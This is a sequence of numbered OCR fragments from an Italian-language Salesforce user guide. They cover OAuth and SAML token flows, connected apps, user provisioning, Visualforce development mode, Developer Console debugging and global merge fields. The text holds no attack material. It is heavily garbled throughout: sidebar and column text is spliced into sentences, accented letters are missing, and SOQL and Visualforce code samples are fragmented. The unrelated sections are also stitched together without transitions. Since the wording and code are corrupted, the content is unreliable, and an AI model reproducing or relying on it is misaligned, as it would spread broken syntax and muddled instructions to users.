Apex Autore essere selezionate per l esecuzione il numero pi elevato tra 500 oppure 10 moltiplicato per il numero di classi di test nell organizzazione per un periodo
164. at VEDERE ANCHE Autenticazione delle applicazioni con OAuth Flusso di asserzioni SAML Il flusso di asserzioni SAML una soluzione alternativa per le organizzazioni che attualmente utilizzano DAON SAML per accedere a Salesforce e desiderano accedere all API servizi Web allo stesso modo Il flusso di asserzioni SAML pu essere utilizzato solo all interno di un unica organizzazione Non necessario Disponibile nelle versioni creare un applicazione connessa per utilizzare questo flusso di asserzioni client possono utilizzare Salesforce Classic questo flusso per effettuare la federazione con l API mediante un asserzione SAML in modo quasi identico a quello utilizzato per la federazione con Salesforce nel caso di Single Sign On su Web Disponibile in tutte le versioni Di seguito sono riportate le istruzioni generali per l utilizzo di questo flusso Molte di queste fasi sono descritte pi dettagliatamente di seguito TANG O NPZZAVA O N 1 Configurare SAML a pagina 228 per l organizzazione Utilizzare SAML versione 2 0 UTENTE Scambiare un asserzione SAML con un token di accesso Per gestire creare 2 3 Salesforce invia la risposta di N modificare ed eliminare le 4 Utilizzare un parser JSON per elaborare la risposta ed estrarre l access_token applicazioni OAuth e Gestisci applicazioni connesse Configurazione di SAML per OAuth Per configurare l organizzazione per l utilizzo di SAML seguire le
165. ata e l ora in cui stato completato il processo nome del campo ID esterno per un operazione di inserimento con aggiornamento numero di batch con errori del processo L ID univoco di 15 caratteri del processo numero di batch in elaborazione del processo tipo di oggetto relativo ai dati in corso di elaborazione Tutti i dati di un processo devono avere lo stesso tipo di oggetto L operazione di elaborazione per tutti i batch del processo valori validi sono e eliminazione e insert query e upsert update e hardDelete La percentuale di batch elaborati rispetto al numero totale di batch inviati L avanzamento non visualizzato quando il processo aperto perch il numero totale di batch del processo non noto fino alla conclusione del processo L avanzamento pu non rispecchiare in modo preciso il numero di record elaborati possibile che non tutti i batch contengano lo stesso numero di record e che siano elaborati a velocit diverse Il numero di batch in area di attesa del processo Il numero di record del processo non elaborati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 163 Campo Record elaborati Nuovi tentativi Ora iniziale Stato Inviato da Tempo rimanente n lempo di elaborazione totale ms Descrizione numero di record elaborati al momento dell invio della richiesta che aumenta via via che vengo
166. ativi alle foto del profilo dell utente O Nota l accesso a questi URL richiede la trasmissione di un token di accesso Vedere Utilizzo del token di accesso a pagina 233 picture thumbnail e addr streeti lavia specificata nell indirizzo delle impostazioni dell utente e addr city la citt specificata nell indirizzo delle impostazioni dell utente e addr state la provincia specificata nell indirizzo delle impostazioni dell utente e addr country il paese specificato nell indirizzo delle impostazioni dell utente e addr zipiil codice postale specificato nell indirizzo delle impostazioni dell utente e mobile phone il numero di cellulare presente nelle impostazioni dell utente e mobile phone verified l utente ha confermato che si tratta di un numero di cellulare valido Vedere la descrizione del campo Utente Mobile e status lo stato Chatter corrente dell utente created date valore datetime xsd della data di creazione dell ultimo post dell utente ad esempio 2010 05 08T05 17 51 000Z bodyi il corpo del post e urls una mappa contenente diversi endpoint API che possono essere utilizzati con l utente specificato Nota l accesso agli endpoint REST richiede la trasmissione di un token di accesso Vedere Utilizzo del token di accesso a pagina 233 enterprise SOAP metadata SOAP partner SOAP rest REST sobjects REST search REST query REST recent REST profile feeds Chatter fee
167. ato su file come picklist1234 ReusablePicklistOption t variabile motel ReusablePic O Nota gli abbonati possono eseguire Apex code inseri T EX klistOption_ mdt motelE X SE LECT MasterLabel ravelApp1234__Mote L 6 Questa istruzione assegna l oggetto alla FR WHE AN OM ReusablePicklistOption RE NamespacePrefix o in pacchetti che esegue q D DeveloperName Mot NamespacePrefix mdt travelApp1234 uery su tipi di metadati personalizzati protetti nello stesso pacchetto Tuttavia gli abbonati non possono eseguire query sui tipi protetti in un pacchetto installato utilizzando l Apex code scritto dagli stessi abbonati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 254 Inserimento di tipi e record di metadati personalizzati nei pacchetti tipi e record di metadati personalizzati possono essere inseriti nei pacchetti non gestiti nei pacchetti EDIZIONI gestiti o nelle estensioni dei pacchetti gestiti pacchetti possono quindi essere installati nelle organizzazioni che utilizzano le versioni Professional Edition Developer Edition Enterprise Edition Performance Edition Unlimited Edition e Database com Edition Utilizzare le serie di modifiche per distribuire tipi e record di metadati personalizzati da un Sandbox Disponibile nelle versioni Salesforce Classic A DE f Lui ni f f Disponibile nelle versio
168. autonomo eseguito all interno della piattaforma Force com Tuttavia come per qualsiasi linguaggio Guida dell utente Componenti Apex Visualforce e Lightning 100 ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition di programmazione gli sviluppatori devono essere a conoscenza di eventuali vulnerabilit legate alla sicurezza Salesforce ha incorporato varie difese protettive nella stessa piattaforma Force com Tuttavia gli sviluppatori poco attenti potrebbero in alcuni casi ignorare le difese incorporate ed esporre le loro applicazioni e i loro clienti a rischi inerenti la sicurezza Molti degli errori di codice che gli sviluppatori potrebbero commettere sulla piattaforma Force com sono simili alle vulnerabilit di sicurezza generali di qualsiasi applicazione Web mentre altri sono specifici di Apex Visualforce non disponibile nella versione Database com Edition Per certificare un applicazione per AppExchange importante che gli sviluppatori leggano e comprendano le vulnerabilit della sicurezza descritte di seguito Per ulteriori informazioni vedere la pagina Force com Security Resources in Salesforce Developers all indirizzo https developer salesforce com page Security Cross Site Scripting XSS Gli attacchi di cross site scripting X
169. autorizzazione da parte di un client del server Web tps login salesforce com services oauth2 authorize response type code amp client id 3MVG91KcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1luA5mu00gEWhgKpoW3svG3XHrXDiC0jKlmdgAvhCscA 9G E amp redirect_uri https 3A 2F 2Fwww mysite com 2Fcode callback jsp amp state mystate Se l utente ha gi eseguito l accesso Salesforce lo reindirizza alla pagina di approvazione Se l utente non ha ancora effettuato l accesso gli viene richiesto di accedere quindi viene reindirizzato alla pagina di autorizzazione da cui concede l accesso all applicazione Se l utente ha gi approvato l accesso una volta non deve farlo di nuovo Guida dell utente Integrazione di app con Salesforce 219 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 220 Richiamata ricevuta dal server Web Dopo che l utente ha approvato l accesso viene reindirizzato all URI specificatoin redirect uri coni seguenti valori nella stringa di query e code codice di autorizzazione che il consumatore deve utilizzare per ottenere i token di accesso e aggiornamento state stato trasmesso alla fase di approvazione Questo non incluso se il parametro state non era incluso nella stringa di query originale Se l utente ha gi approvato l accesso una volta non deve farlo di nuovo Di seguito riportato un esempio della richiesta ricevuta da redirect _ uri https www m
170. azione connessa Assegnazione annullamento di un insieme Create Deactivate SetupEntityAccess di autorizzazioni all applicazione connessa Il valore dell operazione viene archiviato nell oggetto UserProvisioningRequest Salesforce pu elaborare la richiesta immediatamente oppure attendere un processo di approvazione completo se si aggiunge un processo di approvazione durante le fasi della procedura guidata di provisioning utente Per elaborare la richiesta Salesforce utilizza un flusso ditipo Provisioning utente che include un riferimento alla classe Apex UserProvisioningPlugin Il flusso chiama l API di servizio di terze parti per gestire il provisioning dell account utente su quel sistema Se si desidera inviare le richieste di provisioning utente in base agli eventi di Active Directory utilizzare Salesforce Identity Connect per acquisire tali eventi e sincronizzarli nella propria organizzazione Salesforce Quindi Salesforce invia le richieste di provisioning utente al sistema di terze parti per l esecuzione o l annullamento del provisioning utenti Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 194 Limiti Diritti I ruoli e le autorizzazioni per il provider di servizi non possono essere gestiti o archiviati nell organizzazione Salesforce Pertanto i diritti specifici relativi alle risorse del provider di servizi non sono inclusi quando un utente richiede l accesso a un applicazione di terze
171. bType Tipo Stringa Booleano Stringa Stringa Stringa Oggetto InboundEmailResult TextAttachment presenta i seguenti campi Descrizione Corpo dell allegato Indica se il testo dell allegato troncato true o meno false Insieme di caratteri originale del campo del corpo Il corpo viene ricodificato in UTF 8 come input del metodo Apex Nome del file allegato Tipo primario e sottotipo MIME L oggetto InboundEmailResult usato per restituire i risultati del servizio di email Se questo oggetto nullo si presume che il risultato sia corretto Un oggetto InboundEmailResult presenta i seguenti campi Nome success message Tipo Booleano Stringa Descrizione Valore che indica se il messaggio email stato elaborato correttamente Se ilvalore false Salesforce rifiuta i messaggi email in entrata e invia al mittente originario una risposta contenente il messaggio specificato nelcampo Message Un messaggio che Salesforce restituisce nel corpo di un messaggio email di risposta Questo campo pu contenere del testo a prescindere dal valore restituito dal campo Success Ottimizzazione di Salesforce con il codice Oggetto InboundEnvelope Guida dell utente Componenti Apex Visualforce e Lightning 119 L oggetto InboundEnvelope memorizza le informazioni della busta associate al messaggio email in entrata e presenta i seguenti campi Nome Tipo Descrizione toAddress Stringa Nome visu
172. bilita la possibilit di condividere un file utilizzando un link e di aprire un file in un applicazione di terzi Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 178 Durante la definizione degli attributi personalizzati racchiudere tra virgolette i valori degli attributi O Importante Durante l aggiornamento dei campi per un applicazione connessa tenere presente che le modifiche ad alcuni campi si applicano immediatamente anche a tutte le versioni installate dell applicazione connessa Si tratta di campi indipendenti dalla versione che non tengono conto del ciclo di vita del pacchetto o dell installazione Gli utenti dell applicazione connessa vedranno elementi come il cambiamento della descrizione campi indicati di seguito hanno questo comportamento indipendente dalla versione e Descrizione e URLinfo e URL immagine logo e URL di richiamata Inclusione di un applicazione connessa in un pacchetto Dopo avere creato un applicazione connessa o una nuova versione di un applicazione esistente inserirla in un pacchetto per renderla disponibile ad altri utenti di altre organizzazioni Salesforce Aggiungere un applicazione connessa a un pacchetto gestito analogamente e insieme ad altri componenti come oggetti personalizzati pagine Visualforce e classi Apex Ci semplifica la distribuzione di un applicazione connessa ad altre organizzazioni Salesforce Come componente che si p
173. bilitata quando viene abilitata l autorizzazione personalizzata dell oggetto controllante Ad esempio si pu disporre di un autorizzazione personalizzata Approva richieste di permesso e specificare che essa richieda l autorizzazione personalizzata Invia richieste di permesso 1 Da Imposta immettere Autorizzazioni personalizzate nellacasella Ricerca veloce quindi selezionare Autorizzazioni personalizzate Creare o selezionare un autorizzazione personalizzata esistente Nell elenco correlato Autorizzazioni personalizzate richieste fare clic su Modifica Selezionare le autorizzazioni personalizzate da aggiungere dall elenco Autorizzazioni personalizzate disponibili e fare clic su Aggiungi oppure selezionare le autorizzazioni personalizzate da rimuovere dall elenco Autorizzazioni personalizzate richieste e fare clic su Rimuovi Fare clic su Salva VEDERE ANCHE Autorizzazioni personalizzate Debug Debug del codice Questa sezione contiene informazioni sul debug del codice scritto dall utente Esecuzione del debug tramite la Console sviluppatore Scheda Checkpoints Checkpoint Checkpoint Inspector Controllo checkpoint Scheda Logs Registri Log Inspector Controllo registri Esempi di utilizzo del Log Inspector Controllo registri Utilizzo dei registri debug Scheda Checkpoints Checkpoint La scheda Checkpoints Checkpoint visualizza un elenco dei checkpoint salvati che mantiene un istantanea dello stato degl
174. c e Lightning Experience Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni We Le applicazioni connesse connesse possono essere create nelle Per aggiornare tutti i campi tranne Profili Personalizza applicazione versioni Group Edition Insiemi di autorizzazioni e Attributi SAML Professional Edition provider di servizi Enterprise Edition Performance Edition Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti Unlimited Edition e autorizzazioni e Attributi SAML provider di i dati Developer Edition servizi nia Le applicazioni connesse Per disinstallare Scarica pacchetti AppExchange possono essere installate in tutte le versioni Dopo aver creato un applicazione connessa possibile modificarla eliminarla o includerla in un pacchetto O Nota Il nome deve essere univoco per le applicazioni connesse nell organizzazione possibile riutilizzare il nome di un applicazione connessa eliminata se l applicazione connessa stata creata con il rilascio Spring 14 o con un rilascio successivo Non possibile riutilizzare il nome di un applicazione connessa eliminata se l applicazione connessa stata creata con un rilascio precedente Modifica di un applicazione connessa possibile aggiornare un applicazione connessa in qualsiasi momento Da Imposta immettere Applicazioni nella casella Ricerca veloce quindi selezionare Applicazio
175. care o visualizzarla La pagina non pu essere modificata eliminata o clonata eliminare il markup Se la pagina Visualforce contenuta in un pacchetto gestito installato Pacchetto 160 i installato indicailnome del pacchetto Il campo Disponibile in versioni del Ferona za applicazione pacchetto mostra la serie di versioni di pacchetto nella quale disponibile la pagina Visualforce Il primo numero di versione della serie la prima versione del pacchetto installato contenente la pagina Visualforce Per modificare controller Visualforce personalizzati e Apex autore Visualizzazione e modifica delle pagine Visualforce con la modalit sviluppo abilitata Con la modalit sviluppo abilitata possibile visualizzare e modificare il contenuto di una pagina accedendo all URL della pagina Ad esempio se la pagina denominata HelloWorld e l istanza di Salesforce na3 salesforce com immettere https na3 salesforce com apex HelloWorld nella barra degli indirizzi del browser Una volta abilitata la modalit di sviluppo tutte le pagine Visualforce sono visualizzate con il pi di pagina della modalit di sviluppo nella parte inferiore della finestra e Fare clic sulla scheda con il nome della pagina per aprire l editor della pagina e visualizzare e modificare il markup Visualforce associato senza dover tornare all area Imposta Le modifiche vengono visualizzate non appena la pagina viene salvata e Sela pagina utilizza un contro
176. cati e raggruppati in base al tipo di dati Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 262 FilterOptions PermsetAssignmentController PermissionassignmentControllerTest PermsetAssignmentController 8 04 10 08 06 19 eaP symbol rt 1 iii i Type Count Total Size Address Size Field Value FilterOptions 1 20 Ox44a17a41 20 filterOn_Email true PermsetAssignmentC 1 12 filterOn_Firsi z a String 1 0 filterOn_LastName true searchFilter 0x1d60443d References scorch Field Type Address Size accessibleFields DynamicObjectHandier 0x2ba10de0 12 Lacolonna Types Tipi un elenco non ordinato delle classi di tutti gli oggetti istanziati che si trovano in memoria al checkpoint con il conteggio di quelli istanziati e la quantit di memoria consumata in byte Fare clic su un elemento per vedere un elenco di quegli oggetti nella colonna Instances Istanze con il relativo indirizzo nell heap e la memoria utilizzata Fare clic su un istanza per visualizzare le variabili attualmente impostate in quell oggetto nella colonna State Stato La scheda References Riferimenti fornisce due elenchi per visualizzare le relazioni tra i simboli archiviati in memoria Utilizzare l elenco Inbound References Riferimenti in entrata per individuare i simboli che possono contenere riferimenti a oggetti di un tipo particolare Utilizzare l elenco Referencing Instances Istanze di r
177. cation javascript Ad esempio https login salesforce com services oauth2 revoke token XXXXX amp callback myCallback Se la richiesta ha esito positivo viene inviata una richiamata alla funzione JavaScript impostata nel parametro di richiamata del GET myCallback Se la risposta non ha esito positivo viene inviata una richiamata con un codice di errore myCallback error invalid token VEDERE ANCHE Utilizzo del token di accesso Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 233 Utilizzo del token di accesso Dopo che un consumatore che utilizza OAuth 2 0 ha ottenuto un token di accesso il metodo di utilizzo del token dipende dall API utilizzata e Perl API REST utilizzare un intestazione dell autorizzazione HTTP con il formato seguente Authorization Access_Token Bearer e Nel caso dell API SOAP il token di accesso viene posto nell intestazione di autenticazione SOAP SessionHeader e Perl URL identit utilizzare un intestazione di autorizzazione HTTP cos come con l API REST o un parametro HTTP oauth_token Ottenere e verificare un token ID Salesforce pu rispondere a una richiesta OAuth con un token ID conforme alle specifiche OpenID Connect Il flusso utente agente OAuth 2 0 e il flusso di autenticazione server Web OAuth 2 0 possono entrambi richiedere un token ID firmato se il parametro di ambito della richiesta contiene openid Il token restituito
178. ccesso ai propri dati Salesforce fare clic su Consenti Se la descrizione dell applicazione non corrisponde all applicazione che si sta attualmente utilizzando o se per qualsiasi altro motivo non si desidera concedere l accesso ai propri dati fare clic su Nega Se l utente non l utente connesso attualmente fare clic su Altro utente per disconnettere l utente corrente ed eseguire l accesso possibile concedere l accesso a un applicazione esterna per un numero di volte specificato In generale si concede l accesso per ogni dispositivo utilizzato ad esempio per computer portatile e per un computer desktop Il limite predefinito cinque volte per applicazione Se stato raggiunto il limite per la propria organizzazione concedere accesso a questa applicazione revoca automaticamente l accesso al token di accesso utilizzato meno recentemente Il token o i token dell applicazione di accesso remoto che saranno revocati vengono visualizzati sulla pagina L accesso a un applicazione di accesso remoto si pu revocare in seguito accedendo alle proprie informazioni personali 1 Dalle impostazioni personali immettere Dettagli utente avanzati nella casella ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni YANG O NPAZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Ricerca veloce quindi selezionare De
179. ccount utente Salesforce Le applicazioni connesse collegano gli utenti a servizi e applicazioni di terze parti Il provisioning utente per applicazioni connesse consente di creare aggiornare e gestire gli account degli utenti per quei servizi e applicazioni Questa funzione semplifica la creazione di account per servizi come Google Apps e collega gli account degli utenti Salesforce ai rispettivi account di terze parti Dopo che questi account sono stati collegati possibile configurare il Programma di avvio applicazione in modo che gli utenti possano accedere istantaneamente al servizio di destinazione facendo clic sull icona applicazione connessa nel Programma di avvio applicazione La funzione di provisioning utente utilizzabile solo con gli utenti a cui stato assegnato un profilo o un insieme di autorizzazioni che concede accesso all applicazione connessa configurata Ad esempio possibile configurare il provisioning utenti per un applicazione connessa Google Apps nella propria organizzazione Quindi assegnare il profilo Dipendenti all applicazione connessa Quando nell organizzazione viene creato un nuovo utente e all utente viene assegnato il profilo Dipendenti il provisioning dell utente in Google Apps avviene automaticamente Inoltre quando l utente viene disattivato o quando cambia l assegnazione del profilo il provisioning in Google Apps viene automaticamente annullato Salesforce fornisce una procedura guidata che indica le
180. ce Il livello massimo ha il formato apex nomepagina Il nodo di livello immediatamente inferiore mostra l esecuzione effettiva della pagina Aprire quel nodo per vedere quando stato inizializzato il controller Continuare ad aprire i nodi per esplorare le chiamate di metodi e la durata di ciascun metodo Quando si fa clic su un elemento del riquadro Stack Tree Albero stack il riquadro Execution Log Registro esecuzioni visualizza quella porzione del registro debug il riquadro Source Sorgente viene aggiornato per visualizzare il codice sorgente appropriato e il riquadro Variables Variabili mostra le variabili in contesto Nel riquadro Execution Overview Panoramica esecuzioni fare clic su Executed Units Unit eseguite per visualizzare le statistiche del codice fra cui il tempo di esecuzione in millisecondi e le dimensioni dell heap in byte La colonna Cnt mostra il numero di volte in cui una determinata unit di codice stata eseguita Se un unit di codice stata eseguita pi di una volta vengono aggiornati la somma la media e i numeri di esecuzione massimo e minimo Analogamente se una query viene eseguita pi di una volta la visualizzazione viene aggiornata in modo da riepilogare i numeri aggregati di righe restituite possibile escludere le unit di codice facendo clic sui pulsanti in basso corrispondenti alle unit di codice che si desidera omettere dalla visualizzazione Questa operazione spiegata in Tracciame
181. ce esattamente il modo in cui gli utenti visualizzano il Custom S Control e Sesista creando una formula nella scheda Formula avanzata o una formula per approvazioni o regole ad esempio di inoltro al livello superi flusso di lavoro di convalida di assegnazione di risposta automatica o di ore fare clic su Inserisci campo selezionare un campo e fare clic su Inserisci Per creare una formula di base che trasmetta i dati Salesforce specifici selezionare la scheda Formula semplice scegliere i tipo di campo dall elenco a discesa Seleziona tipo di campo e scegliere uno dei campi elencati nell elenco a discesa Inserisci campo Q Suggerimento Creare formule ogge e facciano riferi e Per inserire un opera ore scegliere l icona de Inserisci operatore ti incrociate che si estendano agli oggetti correlati mento ai campi di unione su tali oggetti l operatore desiderato dall elenco a discesa e Per inserire una funzione fare doppio clic sul nome corrispondente nell elenco oppure selezionarla e fare clic su Inserisci funzione selezionata Per filtrare l elenco delle funzioni scegliere una categoria dall elenco a discesa Funzioni Selezionare una funzione e fare clic su Guida di questa funzione per visualizzare una descrizione e g i esempi delle formule che utilizzano quella funzione e Per fare riferimento a un file caricato nel campo Nome file come parte del Custom S Control Scontrol JavaArchive selezi
182. center gt lt br gt lt br gt lt apex form gt lt apex define gt lt apex composition gt lt apex page gt Suggerimenti Questa variabile globale disponibile nelle pagine Visualforce nei modelli di email e negli S Control System OriginDateTime Descrizione Un campo di unione globale che rappresenta il valore letterale di 1900 01 01 00 00 00 Utilizzare questa variabile globale quando si eseguono i calcoli sulle differenze di data ora o per assegnare un valore letterale a un campo data ora Utilizzo 1 Selezionare il tipo di campo System Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Esempio di formula Esempio di Flusso Processo e Visualforce Suggerimenti User Descrizione Utilizzo Esempio di regola di convalida Esempio di Flusso Lightning 38 A i riginDateTime nserisci campi unione 2 Selezionare OriginDateT dall opzione I p L esempio seguente mostra in che modo possibile convertire un campo data in un campo data ora La data presente nel campo di unione OriginDateTime viene utilizzata per derivare il numero di giorni da un campo personalizzato denominato Data personale Quindi il numero di giorni viene aggiunto alvalore OriginDateTime System OriginDatetime My Date Field _ c DATEVALUE System OriginDatetime O Nota OriginDateTime si trova nel fuso orario GMT ma il risultato viene visualizzato in ba
183. cessario accedere all URL della pagina Per questo motivo la maggior parte degli sviluppatori preferisce lavorare con la modalit sviluppo abilitata per poter visualizzare e modificare le pagine in un unica finestra Dopo aver creato la pagina per accedervi fare clic su Anteprima anche possibile visualizzarla manualmente inserendo un URL nella seguente forma http miaIstanzaSalesforce apex nomeNuovaPagina dove il valore di Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 70 miaIlstanzaSalesforce il nome host dell istanza di Salesforce ad esempio na3 salesforce com eilvalore di nomeNuova Pagina il valore del campo Nome nella definizione della pagina VEDERE ANCHE Abilitazione della modalit sviluppo Visualizzazione e modifica delle pagine Visualforce Creazione della schede Visualforce Abilitazione della modalit sviluppo Anche se le definizioni delle pagine Visualforce si possono visualizzare e modificare nelle pagine Visualforce in Imposta abilitare la modalit sviluppo di Visualforce il modo migliore per creare pagine Visualforce La modalit sviluppo fornisce e Un pi di pagina di sviluppo speciale per ogni pagina Visualforce che include lo stato visualizzazione della pagina gli eventuali controller associati un link alla documentazione di riferimento del componente e un editor del markup della pagina dotato di funzionalit di evidenziazione
184. ch gt http nal salesforce com services data v version search lt search gt lt query gt http nal salesforce com services data v version query lt query gt lt profile gt http nal salesforce com 005x0000001S2b9 lt profile gt lt urls gt lt active gt true lt active gt lt user type gt STANDARD lt user type gt lt language gt en US lt language gt lt locale gt en US lt locale gt lt utc0ffset gt 28800000 lt utc0ffset gt lt last modified date gt 2010 06 28T20 54 09 000zZ lt last modified date gt lt user gt Di seguito riportato un esempio di risposta in formato JSON id http nal salesforce com id 00Dx0000001T0zk 005x000000152b9 asserted user true user id 005x0000001S2b9 organization id 00Dx0000001T0zk nick name admin1 2777578168398293E12foofoofoofoo display name Alan Van email admin 2060747062579699 com status created date null body null photos picture http nal salesforce com profilephoto 005 EF thumbnail http nal salesforce com profilephoto 005 T TULSI enterprise http nal salesforce com services Soap c version 00Dx0000001T0zk metadata http nal salesforce com services Soap m version 00Dx0000001T0zk tp nal salesforce com services Soap u version 00Dx0000001T0zk rest http nal salesforce com services data v version partner ht sobjects http nal sale
185. chiesta stata verificata Salesforce invia una risposta al client Le risposte del token per il flusso token bearer JWT OAuth 2 0 seguono lo stesso formato dei flussi authorization code anche se non viene mai emesso un refresh_token Una richiesta di asserzione bearer JWT OAuth 2 0 analizza tutte le precedenti approvazioni per l utente che includono un refresh token Se vengono rilevate approvazioni corrispondenti i valori degli ambiti approvati vengono combinati e viene emesso un access_token con valore token type Bearer Se nessuna approvazione precedente includeva un refresh token non sar disponibile alcun ambito approvato e la richiesta non riuscir in quanto non autorizzata In caso di implementazione per una comunit ilvalore sfdc community id nell endpoint del token contiene l ID della comunit che pu essere necessario nelle richieste API REST Chatter O Nota dopo avere acquisito l access_token possibile trasmetterlo come token bearer nella richiesta dell intestazione dell autorizzazione Di seguito riportato l esempio di una chiamata dell API REST alle comunit https acme force com customers services data v32 0 H Authorization Bearer 00D50000000Iehz AOcAOHOdMHZ z972Szmpkb58urFRkgeBGsxL QJWwYMfAbUeeG7c1E6 LYUfiDUkWe6H34r1AAWOR8B8 LEz6n04NPGRrq0FM Errori Se si verifica un errore nell elaborazione del token bearer JWT il server risponde con un messaggio di errore OAuth standard che include un erro
186. chiesta HTTP che effettua al server Se si include una variabile di contesto actionLinkTd nel codice sul lato server di Survey Example che crea il link azioni Salesforce invia una richiesta HTTP con l ID del link azioni ed possibile salvarlo nel database Questo esempio include la variabile di contesto userId nell URL azione nel modello di link azioni Action Link Template Edit Save Save amp New Cancel Information Required Information Action Link Take Survey Position jo Group Template Action Type API Label Yes pe Key Action URL https www example com Label doSurvey surveyld 1234 amp salesforceUserld f userld HTTP GET M User Everyone can see X Method Visibility HTTP Custom Request User Body Alias HTTP Headers Default Link in Group Confirmation P Required Save Save amp New Cancel Q Suggerimento le variabili di binding e di contesto possono essere utilizzate nello stesso campo Ad esempio questo URL azione contiene una variabile di binding e una variabile di contesto https www example com Bindings apiVersion doSurvey salesforceUserId userId Ottimizzazione di Salesforce con il codice Creazione di modelli di link azioni Creare modelli di link azioni in Imposta in modo da poter istanziare i gruppi di link azioni con DONI propriet comuni dall API REST Chatter o Apex possibile inserirli nei pacchetti e distribuirli ad altre organizzazioni Sales
187. chiesto Non influenzato dall URL della pagina referrer L URL restituito utilizza lo stesso protocollo HTTP o HTTPS della richiesta corrente Il valore restituito contiene il prefisso di percorso e non termina mai con il carattere Se la richiesta corrente non riguarda un si questo metodo restituisce una stringa vuota ici Restituisce un URL di base per il sito corrente che utilizza HTTPS anzich HTTP Se supporta HTTPS viene preferito il dominio della richiesta corrente domini che non sono sottodomini Force com vengono preferiti ai sottodomini Force com Un sottodominio Force com associato al sito viene utilizzato se nel sito corrente non esistono altri domini HTTPS Se nel sito non vi sono URL HTTPS personalizzati questo metodo restituisce una stringa vuota Il valore restituito contiene il prefisso di percorso e non termina mai con il carattere Se la richiesta corrente non riguarda un sito questo metodo restituisce una stringa vuota Restituisce l URL di base del sito corrente che deve essere utilizzato dai riferimenti e dai link Tenere presente che questo campo potrebbe restituire l URL della pagina referrer anzich l URL della richiesta corrente Il valore di questo campo contiene il prefisso di percorso e non termina mai con il carattere Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Questo campo sostituisce Site CurrentSiteUrl Restituisce il valore del campo
188. chiesto di fornire un secondo fattore di autenticazione ad esempio un codice token Dopo un secondo fattore di autenticazione corretto l utente pu utilizzare l applicazione connessa dal di fuori dell intervallo IP affidabile Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 177 1 Dalmposta immettere Applicazioni connesse nellacasella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse 2 Fare clic su Modifica accanto al nome dell applicazione connessa per visualizzare i valori per l applicazione 3 Nel campo Riduzi O Nota se abili one restrizioni IP selezionare Riduci restrizioni IP nell elenco a discesa ata l opzione Impostazioni di sessione Imponi intervalli IP di accesso su ogni richiesta influisce sul comportamento di riduzione delle restrizioni IP Per ulteriori informazioni vedere Riduzione delle restrizioni IP dell applicazione connessa e imposizione IP continua a pagina 179 Dopo aver creato l applicazione connessa possibile ritornare alla pagina dei dettagli e specificare gli attributi personalizzati Gli attributi personalizzati specificano i metadati SAML o i parametri OAuth che vengono letti durante il runtime di OAuth 1 Dalmposta immettere Applicazioni nella casella Ricerca veloce quindi selezionare Applicazioni 2 Selezionare il nome di un applicazione connessa nell elenco 3 Nella sezione Attributi pers
189. codice Guida dell utente Integrazione di app con Salesforce 169 Creazione di un applicazione connessa AUTORIZZAZIONI UTENTE ID PA 0 N Per leggere Personalizza applicazione Disponibile nelle versioni Salesforce Classic e Lightning Experience Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni We Le applicazioni connesse connesse possono essere create nelle Per aggiornare tutti i campi tranne Profili Personalizza applicazione versioni Group Edition Insiemi di autorizzazioni e Attributi SAML Professional Edition provider di servizi Enterprise Edition Performance Edition Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti Unlimited Edition e autorizzazioni e Attributi SAML provider di i dati Developer Edition servizi nia Le applicazioni connesse Per disinstallare Scarica pacchetti AppExchange possono essere installate in tutte le versioni Per creare un applicazione connessa 1 Dalmposta immettere Applicazioni nella casella Ricerca veloce quindi selezionare Applicazioni 2 Nella sezione Applicazioni connesse fare clic su Nuova Le informazioni immesse per creare un applicazione connessa sono cos suddivise e Informazioni di base e API Abilita impostazioni OAuth e Impostazioni app Web e Handler personalizzato applicazione connessa e Impostazioni app mobile e Impostazioni app Area di disegno po
190. color black gt lt apex datalist gt Questa variabile globale disponibile solo per le pagine Visualforce Tipo di campo di unione globale da utilizzare quando si fa riferimento alla pagina Visualforce corrente o richiesta di pagina Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Utilizzo Esempio di Visualforce Suggerimenti FieldSet Descrizione Utilizzo Esempio di Visualforce Suggerimenti Label Descrizione Utilizzo Lightning 23 Utilizzare questa variabile globale in una pagina Visualforce per fare riferimento al nome corrente della pagina CurrentPage Name o all URL della pagina corrente currentPage URL Utilizzare CurrentPage parameters parameterName per fare riferimento ai parametri e ai valori di richiesta della pagina dove parameterName il parametro di richiesta a cui si fa riferimento lt apex page standardController Account gt lt apex pageBlock title Hello S User FirstName gt You belong to the account name account lt br gt You re also a nice person lt apex pageBlock gt lt apex detail subject account relatedList false gt lt apex relatedList list OpenActivities subject CurrentPage parameters relatedId gt lt apex page gt Questa variabile globale disponibile solo per le pagine Visualforce Fornisce l accesso a un insieme di campi definito nell organizzazione
